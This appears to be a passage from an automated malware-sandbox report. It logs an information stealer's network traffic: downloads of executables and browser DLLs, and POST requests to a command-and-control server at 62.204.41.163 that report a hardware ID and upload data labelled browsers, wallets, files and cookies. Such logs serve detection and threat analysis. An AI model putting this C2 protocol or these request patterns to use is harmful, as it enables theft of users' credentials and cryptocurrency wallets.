8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 06:48:23 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 06:48:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Fri, 01 Nov 2024 13:21:33 GMTETag: "1aa00-625d9d04b7140"Accept-Ranges: bytesContent-Length: 109056Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 88 e9 26 88 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 32 01 00 00 76 00 00 00 00 00 00 9e 51 01 00 00 20 00 00 00 60 01 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 02 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 51 01 00 4f 00 00 00 00 60 01 00 20 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 0c 00 00 00 9c 50 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 31 01 00 00 20 00 00 00 32 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 20 73 00 00 00 60 01 00 00 74 00 00 00 34 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 01 00 00 02 00 00 00 a8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 51 01 00 00 00 00 00 48 00 00 00 02 00 05 00 64 30 00 00 b0 39 00 00 03 00 02 00 08 00 00 06 14 6a 00 00 88 e6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 03 20 34 02 00 00 14 14 04 28 16 00 00 0a 2a 32 03 04 16 14 14 05 6f 17 00 00 0a 2a 3a 03 04 05 16 14 14 0e 04 6f 18 00 00 0a 2a 13 30 09 00 2c 00 00 00 00 00 00 00 04 6f 19 00 00 0a 72 01 00 00 70 20 24 01 00 00 14 04 18 8d 16 00 00 01 25 16 03 a2 25 17 05 a2 14 6f 1a 00 00 0a 74 1a 00 00 01 2a 26 03 04 05 6f 1b 00 00 0a 2a 1e 02 28 1c 00 00 0a 2a 4a 02 72 21 00 00 70 18 73 1d 00 00 0a 28 1e 00 00 0a 2a 4a 73 09 00 00 06 25 6f 07 00 00 06 6f 1f 00 00 0a 26 2a 1e 02 28 20 00 00 0a 2a 36 02 28 21 00 00 0a 02 28 0b 00 00 06 2a 00 00 13 30 02 00 24 00 00 00 01 00 00 11 02 7b 02 00 00 04 2c 01 2a 02 17 7d 02 00 00 04 72 4b 00 00 70 18 73 1d 00 00 0a 0a 02 06 28 22 00 00 0a 2a 66 03 17 33 0d 02 04 74 04 00 00 02 7d 01 00 00 04 2a 02 17 7d 02 00 00 04 2a 1e 02 28 23 00 00 0a 2a ae 7e 03 00 00 04 2d 1e 72 a3 00 00 70 d0 05 00 00 02 28 24 00 00 0a 6f 25 00 00 0a 73 26 00 00 0a 80 03 00 00 04 7e 03 00 00 04 2a 1a 7e 04 00 00 04 2a 1e 02 80 04 00 00 04 2a 1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 62.204.41.163Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /16fa04073490929d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAAEBKEGHJKEBFHJDBFHost: 62.204.41.163Content-Length: 216Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 43 43 32 37 30 35 34 44 41 34 42 33 38 33 37 37 33 34 39 34 37 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 31 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 2d 2d 0d 0a Data Ascii: ------HCAAEBKEGHJKEBFHJDBFContent-Disposition: form-data; name="hwid"2CC27054DA4B3837734947------HCAAEBKEGHJKEBFHJDBFContent-Disposition: form-data; name="build"default11------HCAAEBKEGHJKEBFHJDBF--
Source: global traffic	HTTP traffic detected: POST /16fa04073490929d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBFBGCGIJKJJKFIDBFCHost: 62.204.41.163Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 32 33 64 37 33 36 64 66 61 31 63 31 37 31 38 37 39 66 64 35 30 37 39 32 32 35 35 36 38 33 66 38 36 63 61 32 66 63 30 63 65 37 37 62 62 63 35 31 35 36 31 34 35 32 64 66 32 66 39 38 36 64 66 63 34 38 33 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 2d 2d 0d 0a Data Ascii: ------GCBFBGCGIJKJJKFIDBFCContent-Disposition: form-data; name="token"4d23d736dfa1c171879fd50792255683f86ca2fc0ce77bbc51561452df2f986dfc483ae8------GCBFBGCGIJKJJKFIDBFCContent-Disposition: form-data; name="message"browsers------GCBFBGCGIJKJJKFIDBFC--
Source: global traffic	HTTP traffic detected: POST /16fa04073490929d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJDAKEGDBFHCAAKJJJDHost: 62.204.41.163Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 32 33 64 37 33 36 64 66 61 31 63 31 37 31 38 37 39 66 64 35 30 37 39 32 32 35 35 36 38 33 66 38 36 63 61 32 66 63 30 63 65 37 37 62 62 63 35 31 35 36 31 34 35 32 64 66 32 66 39 38 36 64 66 63 34 38 33 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 2d 2d 0d 0a Data Ascii: ------DHJDAKEGDBFHCAAKJJJDContent-Disposition: form-data; name="token"4d23d736dfa1c171879fd50792255683f86ca2fc0ce77bbc51561452df2f986dfc483ae8------DHJDAKEGDBFHCAAKJJJDContent-Disposition: form-data; name="message"plugins------DHJDAKEGDBFHCAAKJJJD--
Source: global traffic	HTTP traffic detected: POST /16fa04073490929d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJEGCBGIDHCAKEBGIIDBHost: 62.204.41.163Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 32 33 64 37 33 36 64 66 61 31 63 31 37 31 38 37 39 66 64 35 30 37 39 32 32 35 35 36 38 33 66 38 36 63 61 32 66 63 30 63 65 37 37 62 62 63 35 31 35 36 31 34 35 32 64 66 32 66 39 38 36 64 66 63 34 38 33 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 2d 2d 0d 0a Data Ascii: ------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="token"4d23d736dfa1c171879fd50792255683f86ca2fc0ce77bbc51561452df2f986dfc483ae8------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="message"fplugins------JJEGCBGIDHCAKEBGIIDB--
Source: global traffic	HTTP traffic detected: POST /16fa04073490929d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIDGHDBAFIJJJJKJDHDHost: 62.204.41.163Content-Length: 7919Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /2c3d53f1da5ea53a/sqlite3.dll HTTP/1.1Host: 62.204.41.163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /16fa04073490929d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIJEGIIJDGHDGCBGHCAAHost: 62.204.41.163Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 32 33 64 37 33 36 64 66 61 31 63 31 37 31 38 37 39 66 64 35 30 37 39 32 32 35 35 36 38 33 66 38 36 63 61 32 66 63 30 63 65 37 37 62 62 63 35 31 35 36 31 34 35 32 64 66 32 66 39 38 36 64 66 63 34 38 33 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 2d 2d 0d 0a Data Ascii: ------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="token"4d23d736dfa1c171879fd50792255683f86ca2fc0ce77bbc51561452df2f986dfc483ae8------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HIJEGIIJDGHDGCBGHCAA--
Source: global traffic	HTTP traffic detected: POST /16fa04073490929d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAEBFIIECBGCBGDHCAFHost: 62.204.41.163Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /16fa04073490929d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDHDGCBFBKECBFHCAFHost: 62.204.41.163Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 32 33 64 37 33 36 64 66 61 31 63 31 37 31 38 37 39 66 64 35 30 37 39 32 32 35 35 36 38 33 66 38 36 63 61 32 66 63 30 63 65 37 37 62 62 63 35 31 35 36 31 34 35 32 64 66 32 66 39 38 36 64 66 63 34 38 33 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 2d 2d 0d 0a Data Ascii: ------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="token"4d23d736dfa1c171879fd50792255683f86ca2fc0ce77bbc51561452df2f986dfc483ae8------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="file"------EGIDHDGCBFBKECBFHCAF--
Source: global traffic	HTTP traffic detected: POST /16fa04073490929d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAECFCAAEBFHIEHDGHHost: 62.204.41.163Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 32 33 64 37 33 36 64 66 61 31 63 31 37 31 38 37 39 66 64 35 30 37 39 32 32 35 35 36 38 33 66 38 36 63 61 32 66 63 30 63 65 37 37 62 62 63 35 31 35 36 31 34 35 32 64 66 32 66 39 38 36 64 66 63 34 38 33 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 2d 2d 0d 0a Data Ascii: ------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="token"4d23d736dfa1c171879fd50792255683f86ca2fc0ce77bbc51561452df2f986dfc483ae8------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="file"------AECAECFCAAEBFHIEHDGH--
Source: global traffic	HTTP traffic detected: GET /2c3d53f1da5ea53a/freebl3.dll HTTP/1.1Host: 62.204.41.163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /2c3d53f1da5ea53a/mozglue.dll HTTP/1.1Host: 62.204.41.163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /2c3d53f1da5ea53a/msvcp140.dll HTTP/1.1Host: 62.204.41.163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /2c3d53f1da5ea53a/nss3.dll HTTP/1.1Host: 62.204.41.163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /2c3d53f1da5ea53a/softokn3.dll HTTP/1.1Host: 62.204.41.163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /2c3d53f1da5ea53a/vcruntime140.dll HTTP/1.1Host: 62.204.41.163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /16fa04073490929d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGCFBAFBFHJEBGCAEGHHost: 62.204.41.163Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /16fa04073490929d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIJKJJKEBGHJKFIDGCAHost: 62.204.41.163Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 32 33 64 37 33 36 64 66 61 31 63 31 37 31 38 37 39 66 64 35 30 37 39 32 32 35 35 36 38 33 66 38 36 63 61 32 66 63 30 63 65 37 37 62 62 63 35 31 35 36 31 34 35 32 64 66 32 66 39 38 36 64 66 63 34 38 33 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 2d 2d 0d 0a Data Ascii: ------CGIJKJJKEBGHJKFIDGCAContent-Disposition: form-data; name="token"4d23d736dfa1c171879fd50792255683f86ca2fc0ce77bbc51561452df2f986dfc483ae8------CGIJKJJKEBGHJKFIDGCAContent-Disposition: form-data; name="message"wallets------CGIJKJJKEBGHJKFIDGCA--
Source: global traffic	HTTP traffic detected: POST /16fa04073490929d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCAAAFCBFBAKFHJDBKJHost: 62.204.41.163Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 32 33 64 37 33 36 64 66 61 31 63 31 37 31 38 37 39 66 64 35 30 37 39 32 32 35 35 36 38 33 66 38 36 63 61 32 66 63 30 63 65 37 37 62 62 63 35 31 35 36 31 34 35 32 64 66 32 66 39 38 36 64 66 63 34 38 33 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="token"4d23d736dfa1c171879fd50792255683f86ca2fc0ce77bbc51561452df2f986dfc483ae8------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="message"files------DGCAAAFCBFBAKFHJDBKJ--
Source: global traffic	HTTP traffic detected: POST /16fa04073490929d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJEGCGDGHCBFHIDHDAAHost: 62.204.41.163Content-Length: 97963Connection: Keep-AliveCache-Control: no-cache
